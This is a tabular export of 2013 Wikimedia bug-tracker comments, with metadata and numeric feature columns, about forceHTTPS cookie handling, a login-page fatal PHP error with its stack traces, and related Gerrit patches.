https://gerrit.wikimedia.org/r/81614",,,1377740826,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,17.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,4.208333333333333,0.9166666666666666,"Change 81614 had a related patch set uploaded by Seb35:
Set a non-secure attribute when clearing a cookie

GERRIT_URL"
239474,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","Although it is true the cookie is removed when log out, I tried many times and it is never removed (with Opera 12.16 and Firefox 20.0). By investigating I see when I log out from a wiki (here frwiki) that the forceHTTPS cookie has a Secure attribute:

  Set-Cookie: frwikiforceHTTPS=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; secure; httponly

I wonder if this secure attribute doesn’t prevent the user-agent to modify/delete the non-secure cookie; I quickly searched in the RFC 6265 (cookies) but didn’t find anything about the interactions between secure and non-secure cookies. If this bug really comes this fact, the User::clearCookie have to be changed to receive an argument to clear explicitely-unsecure cookies.

As a side fact, I see there are two forceHTTPS cookies when you connect to Wikipedia: one set by frwiki (domain fr.wikipedia.org) and one set by login.wikimedia.org (domain .wikipedia.org); I don’t know how this interacts with this bug.

Login from the specific wiki (here frwiki):
  Set-Cookie: frwikiforceHTTPS=true; expires=Sat, 28-Sep-2013 00:49:37 GMT; path=/; httponly
Continuation of the login, from login.wikimedia.org:
  Set-Cookie: frwikiforceHTTPS=1; expires=Sat, 28-Sep-2013 00:49:37 GMT; path=/; domain=.wikipedia.org; httponly",,,1377739656,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,0,True,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,5.0,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.3333333333333333,6.333333333333333,8.333333333333334,0.3333333333333333,1.3333333333333333,0.0,0.0,0.0,1.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,6.333333333333333,1.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,11.666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.6666666666666666,4.333333333333333,1.6666666666666667,12.0,2.6666666666666665,1.6666666666666667,6.333333333333333,0.0,0.0,0.0,0.0,3.0,0.0,4.333333333333333,0.0,3.3333333333333335,8.333333333333334,10.0,0.0,0.0,0.0,3.3333333333333335,0.0,1.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,4.174242424242425,0.6893939393939394,"Although it is true the cookie is removed when log out, I tried many times and it is never removed (with Opera 12.16 and Firefox 20.0). By investigating I see when I log out from a wiki (here frwiki) that the forceHTTPS cookie has a Secure attribute:

  Set-Cookie: frwikiforceHTTPS=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; path=/; secure; httponly

I wonder if this secure attribute doesn’t prevent the user-agent to modify/delete the non-secure cookie; I quickly searched in the RFC 6265 (cookies) but didn’t find anything about the interactions between secure and non-secure cookies. If this bug really comes this fact, the User::clearCookie have to be changed to receive an argument to clear explicitely-unsecure cookies.

As a side fact, I see there are two forceHTTPS cookies when you connect to Wikipedia: one set by frwiki (domain fr.wikipedia.org) and one set by login.wikimedia.org (domain .wikipedia.org); I don’t know how this interacts with this bug.

Login from the specific wiki (here frwiki):
  Set-Cookie: frwikiforceHTTPS=true; expires=Sat, 28-Sep-2013 00:49:37 GMT; path=/; httponly
Continuation of the login, from login.wikimedia.org:
  Set-Cookie: frwikiforceHTTPS=1; expires=Sat, 28-Sep-2013 00:49:37 GMT; path=/; domain=.wikipedia.org; httponly"
239469,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","Change 81531 had a related patch set uploaded by Chad:
Add help message to prefershttps

https://gerrit.wikimedia.org/r/81531",,,1377712827,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,11.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.526315789473684,1.0,"Change 81531 had a related patch set uploaded by Chad:
Add help message to prefershttps

GERRIT_URL"
239464,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","(In reply to comment #0)

> It's happening because my UserLogin sets $wgCookiePrefixforceHTTPS to true,
> and
> changing the preference does NOT clear this cookie. I have to logout, after
> logging back in (which redirects to secure page), I can then access other
> pages
> over http.

Correct. Your cookies, and their security, are setup on login, not preference updates. So you would have to re-login to see the effect.

A help notice would probably be the best way to handle it. The alternative is to reset all the user's cookies on a preference update, which I don't think is something we want to do.

(In reply to comment #3)
> The help message might be the way to go. Because the preference isn't the
> only
> thing that determines whether the user is put over HTTPS or not.

This is also true. If the preference is unchecked, we'll always set your cookies insecure, but we will redirect back to https if you came from an https page when you clicked login. So yeah, I think a warning message is really the only way we can sanely manage this.",,,1377623727,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,2,True,,,-1,True,0.5,0.5,0.0,0.0,1.0,3.0,3.0,0.0,0.0,1.0,1.0,1.0,0.0,0.5,0.0,3.5,0.0,6.5,8.5,0.5,3.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,2.0,0.0,5.5,2.0,0.5,3.0,3.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,0.0,14.5,1.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,2.5,0.0,0.5,0.5,0.0,0.0,5.5,4.0,11.5,2.0,1.0,7.5,0.0,0.0,0.0,1.0,8.5,0.5,1.0,0.0,7.5,8.5,3.0,0.0,0.0,0.0,7.5,0.0,1.0,2.0,0.0,0.0,0.0,0.5,0.0,3.4879518072289155,0.6927710843373494,"(In reply to comment #0)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Correct. Your cookies, and their security, are setup on login, not preference updates. So you would have to re-login to see the effect.

A help notice would probably be the best way to handle it. The alternative is to reset all the user's cookies on a preference update, which I don't think is something we want to do.

(In reply to comment #3)
QUOTE
QUOTE
QUOTE

This is also true. If the preference is unchecked, we'll always set your cookies insecure, but we will redirect back to https if you came from an https page when you clicked login. So yeah, I think a warning message is really the only way we can sanely manage this."
239457,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set",The help message might be the way to go. Because the preference isn't the only thing that determines whether the user is put over HTTPS or not.,,,1377619649,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,3.0,7.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,7.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,10.0,10.0,7.0,3.0,17.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.8333333333333334,The help message might be the way to go. Because the preference isn't the only thing that determines whether the user is put over HTTPS or not.
239451,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set",I ran into this as well when testing. really confusing.,,,1377618755,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,33.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.9166666666666666,I ran into this as well when testing. really confusing.
239445,"unchecking ""Always use a secure connection when logged in"" leaves forceHTTPS cookie set","The converse isn't the case: if I then visit my preferences page over insecure http and re-check the preference ""Always use a secure connection when logged in"", upon saving preferences I'm redirected to the secure site, and all my subsequent attempts to access over http are redirected (good!).  Even though I don't have the forceHTTPS cookie set, even though I didn't log out and back in.",,,1377556495,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-kfgrj2e5ha6yz245pv7b,task_subcomment,,True,c2,2,False,,,-1,True,1.0,0.0,0.0,1.0,4.0,5.0,1.0,0.0,2.0,1.0,2.0,5.0,0.0,0.0,0.0,7.0,0.0,12.0,14.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,7.0,2.0,8.0,6.0,4.0,8.0,0.0,0.0,1.0,0.0,7.0,0.0,0.0,0.0,7.0,14.0,1.0,0.0,2.0,0.0,7.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.857142857142857,0.7261904761904762,"The converse isn't the case: if I then visit my preferences page over insecure http and re-check the preference ""Always use a secure connection when logged in"", upon saving preferences I'm redirected to the secure site, and all my subsequent attempts to access over http are redirected (good!).  Even though I don't have the forceHTTPS cookie set, even though I didn't log out and back in."
55246,Fatal error:  Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818,"Fatal error:  Call to a member function formatDuration() on a non-object in /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php
on line 818


Will grab a stack trace

--------------------------
**Version**: 1.22.0
**Severity**: normal",High,80.0,1377215100,1377283590.0,PHID-USER-6vzzsmi22zem6yttr6vp,False,,False,PHID-TASK-yjkzj3hbguehkqc54oi6,task_description,resolved,True,c2,2,True,False,True,-1,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.9047619047619047,0.6507936507936508,"Fatal error:  Call to a member function formatDuration() on a non-object in /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php
on line 818


Will grab a stack trace

--------------------------
**Version**: 1.22.0
**Severity**: normal"
256787,Fatal error:  Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818,"Change 80520 merged by jenkins-bot:
Fatal error: Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818

https://gerrit.wikimedia.org/r/80520",,,1377283579,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yjkzj3hbguehkqc54oi6,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,16.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,16.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.25,0.875,"Change 80520 merged by jenkins-bot:
Fatal error: Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818

GERRIT_URL"
256780,Fatal error:  Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818,"Change 80521 merged by Reedy:
Fatal error: Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818

https://gerrit.wikimedia.org/r/80521",,,1377220648,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yjkzj3hbguehkqc54oi6,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,20.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,17.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9,"Change 80521 merged by Reedy:
Fatal error: Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818

GERRIT_URL"
256773,Fatal error:  Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818,"Change 80521 had a related patch set uploaded by Reedy:
Fatal error: Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818

https://gerrit.wikimedia.org/r/80521",,,1377215386,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yjkzj3hbguehkqc54oi6,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,17.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.314285714285714,0.8857142857142857,"Change 80521 had a related patch set uploaded by Reedy:
Fatal error: Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818

GERRIT_URL"
256764,Fatal error:  Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818,"Change 80520 had a related patch set uploaded by Reedy:
Fatal error: Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818

https://gerrit.wikimedia.org/r/80520",,,1377215369,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yjkzj3hbguehkqc54oi6,task_subcomment,,True,c2,2,False,,,-1,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,17.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.314285714285714,0.8857142857142857,"Change 80520 had a related patch set uploaded by Reedy:
Fatal error: Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818

GERRIT_URL"
256755,Fatal error:  Call to a member function formatDuration() on a non-object in SpecialUserlogin.php on line 818,"[22-Aug-2013 23:25:26] Fatal error: Call to a member function formatDuration() on a non-object at /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php on line 818
Server: mw1186
Method: POST
URL: http://login.wikimedia.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login
Backtrace:
#0 /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php(818): LoginForm::processLogin()
#1 /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php(205): LoginForm->processLogin()
#2 /usr/local/apache/common-local/php-1.22wmf14/includes/SpecialPage.php(631): LoginForm->execute(NULL)
#3 /usr/local/apache/common-local/php-1.22wmf14/includes/SpecialPageFactory.php(489): SpecialPage->run(NULL)
#4 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#5 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(585): MediaWiki->performRequest()
#6 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(459): MediaWiki->main()
#7 /usr/local/apache/common-local/php-1.22wmf14/index.php(55): MediaWiki->run()
#8 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apac...')
#9 {main}
--
[22-Aug-2013 23:26:22] Fatal error: Call to a member function formatDuration() on a non-object at /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php on line 818
Server: mw1052
Method: POST
URL: http://login.wikimedia.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login
Backtrace:
#0 /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php(818): LoginForm::processLogin()
#1 /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php(205): LoginForm->processLogin()
#2 /usr/local/apache/common-local/php-1.22wmf14/includes/SpecialPage.php(631): LoginForm->execute(NULL)
#3 /usr/local/apache/common-local/php-1.22wmf14/includes/SpecialPageFactory.php(489): SpecialPage->run(NULL)
#4 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#5 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(585): MediaWiki->performRequest()
#6 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(459): MediaWiki->main()
#7 /usr/local/apache/common-local/php-1.22wmf14/index.php(55): MediaWiki->run()
#8 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apac...')
#9 {main}",,,1377215219,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yjkzj3hbguehkqc54oi6,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,0.0,0.0,11.666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,12.333333333333334,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,8.833333333333334,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,3.3333333333333335,0.3333333333333333,0.0,7.833333333333333,0.0,0.0,1.3333333333333333,7.333333333333333,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,4.292218060757387,0.39140657511444027,"[22-Aug-2013 23:25:26] Fatal error: Call to a member function formatDuration() on a non-object at /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php on line 818
Server: mw1186
Method: POST
URL: URL
Backtrace:
#0 /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php(818): LoginForm::processLogin()
#1 /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php(205): LoginForm->processLogin()
#2 /usr/local/apache/common-local/php-1.22wmf14/includes/SpecialPage.php(631): LoginForm->execute(NULL)
#3 /usr/local/apache/common-local/php-1.22wmf14/includes/SpecialPageFactory.php(489): SpecialPage->run(NULL)
#4 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#5 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(585): MediaWiki->performRequest()
#6 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(459): MediaWiki->main()
#7 /usr/local/apache/common-local/php-1.22wmf14/index.php(55): MediaWiki->run()
#8 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apac...')
#9 {main}
--
[22-Aug-2013 23:26:22] Fatal error: Call to a member function formatDuration() on a non-object at /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php on line 818
Server: mw1052
Method: POST
URL: URL
Backtrace:
#0 /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php(818): LoginForm::processLogin()
#1 /usr/local/apache/common-local/php-1.22wmf14/includes/specials/SpecialUserlogin.php(205): LoginForm->processLogin()
#2 /usr/local/apache/common-local/php-1.22wmf14/includes/SpecialPage.php(631): LoginForm->execute(NULL)
#3 /usr/local/apache/common-local/php-1.22wmf14/includes/SpecialPageFactory.php(489): SpecialPage->run(NULL)
#4 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#5 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(585): MediaWiki->performRequest()
#6 /usr/local/apache/common-local/php-1.22wmf14/includes/Wiki.php(459): MediaWiki->main()
#7 /usr/local/apache/common-local/php-1.22wmf14/index.php(55): MediaWiki->run()
#8 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apac...')
#9 {main}"
55085,No forcehttps cookies for sister projects on AutoLogin,"When logging in, and wgSecureLogin is used, the forceHTTPS cookie (to have mediawiki redirect to https from an http call) isn't set for all SUL domains, only the project where the user is logging in.

Need to add the forceHTTPS cookie, probably in the same place where we set the token cookie.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1376968620,1380298784.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-mrggh326wjh236my5dup,task_description,resolved,True,c2,2,True,False,True,-2,True,1.0,0.0,0.0,2.0,1.0,5.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,1.0,0.0,1.0,0.0,8.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,9.0,4.0,6.0,4.0,1.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,10.0,5.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,2.0,0.0,0.0,0.0,3.9375,0.6125,"When logging in, and wgSecureLogin is used, the forceHTTPS cookie (to have mediawiki redirect to https from an http call) isn't set for all SUL domains, only the project where the user is logging in.

Need to add the forceHTTPS cookie, probably in the same place where we set the token cookie.

--------------------------
**Version**: unspecified
**Severity**: normal"
247592,No forcehttps cookies for sister projects on AutoLogin,"Since this seems to be fixed, and the dependent bugs too, let's close this now. Feel free to reopen if I'm mistaken.",,,1380298784,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-mrggh326wjh236my5dup,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,7.0,14.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,11.0,7.0,4.0,11.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.392857142857143,0.8571428571428571,"Since this seems to be fixed, and the dependent bugs too, let's close this now. Feel free to reopen if I'm mistaken."
247587,No forcehttps cookies for sister projects on AutoLogin,I also opened the bug 53538 which can be considered as an other specific issue due to the fact wgCookiePrefix is language-specific.,,,1377793627,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-mrggh326wjh236my5dup,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,4.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.4,0.92,I also opened the bug 53538 which can be considered as an other specific issue due to the fact wgCookiePrefix is language-specific.
